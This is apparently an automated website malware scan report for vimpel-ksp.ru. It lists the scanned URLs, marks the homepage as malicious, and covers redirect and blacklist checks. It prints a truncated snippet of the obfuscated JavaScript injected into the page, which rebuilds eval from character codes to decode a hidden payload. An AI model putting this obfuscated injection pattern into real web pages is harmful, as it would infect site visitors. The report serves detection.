Scanned pages/files
Request | Server response | Status |
http://www.vimpel-ksp.ru/ | 200 OK Content-Length: 33778 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) h=-parseInt('012')/5;if(window["document"])try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(1)+zz;ss=[];f='fr'+'omCh';f+='arC';f+='qgode'["substr"](2);w=this;e=w[f["substr"](11)+zz];t='y';}n="19#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#58#47.5#56#15#57.5#56#53#15#29.5#15#18.5#51#57#57#55#28#22.5#22.5#53#25#54.5#55#57.5#52.5#22#59#57.5#52.5#49#49#51#50.5#47.5#52.5#48.5#22#49#59.5#54#49#54#56.5#21.5#47.5#57#21.5#51#54.5#53.5#49.5#22#48.5#54.5#53.5#22.5#50.5#22.5#18.5#2 Antivirus reports:
| ||
http://www.vimpel-ksp.ru/demo_files/jquery-latest.htm | 404 Not Found Content-Length: 1635 Content-Type: text/html | clean |
http://www.vimpel-ksp.ru/test404page.js | 404 Not Found Content-Length: 1635 Content-Type: text/html | clean |
http://www.vimpel-ksp.ru/demo_files/bsa.htm | 404 Not Found Content-Length: 1635 Content-Type: text/html | clean |
http://www.vimpel-ksp.ru/demo_files/s_a5f348233fceef06ba365ab392938d10.htm | 404 Not Found Content-Length: 1635 Content-Type: text/html | clean |
http://www.gismeteo.ru/ajax/getInformer/?hash=673AG2Lb | 200 OK Content-Length: 0 Content-Type: text/javascript | clean |
http://counter.rambler.ru/top100.jcn?1610660 | 200 OK Content-Length: 6853 Content-Type: application/x-javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: vimpel-ksp.ru
Result:
GET / HTTP/1.1
Host: vimpel-ksp.ru
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: vimpel-ksp.ru
Referer: http://www.google.com/search?q=vimpel-ksp.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: vimpel-ksp.ru
Referer: http://www.google.com/search?q=vimpel-ksp.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=vimpel-ksp.ru
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://vimpel-ksp.ru/
Result: vimpel-ksp.ru is not infected or malware details are not published yet.
Result: vimpel-ksp.ru is not infected or malware details are not published yet.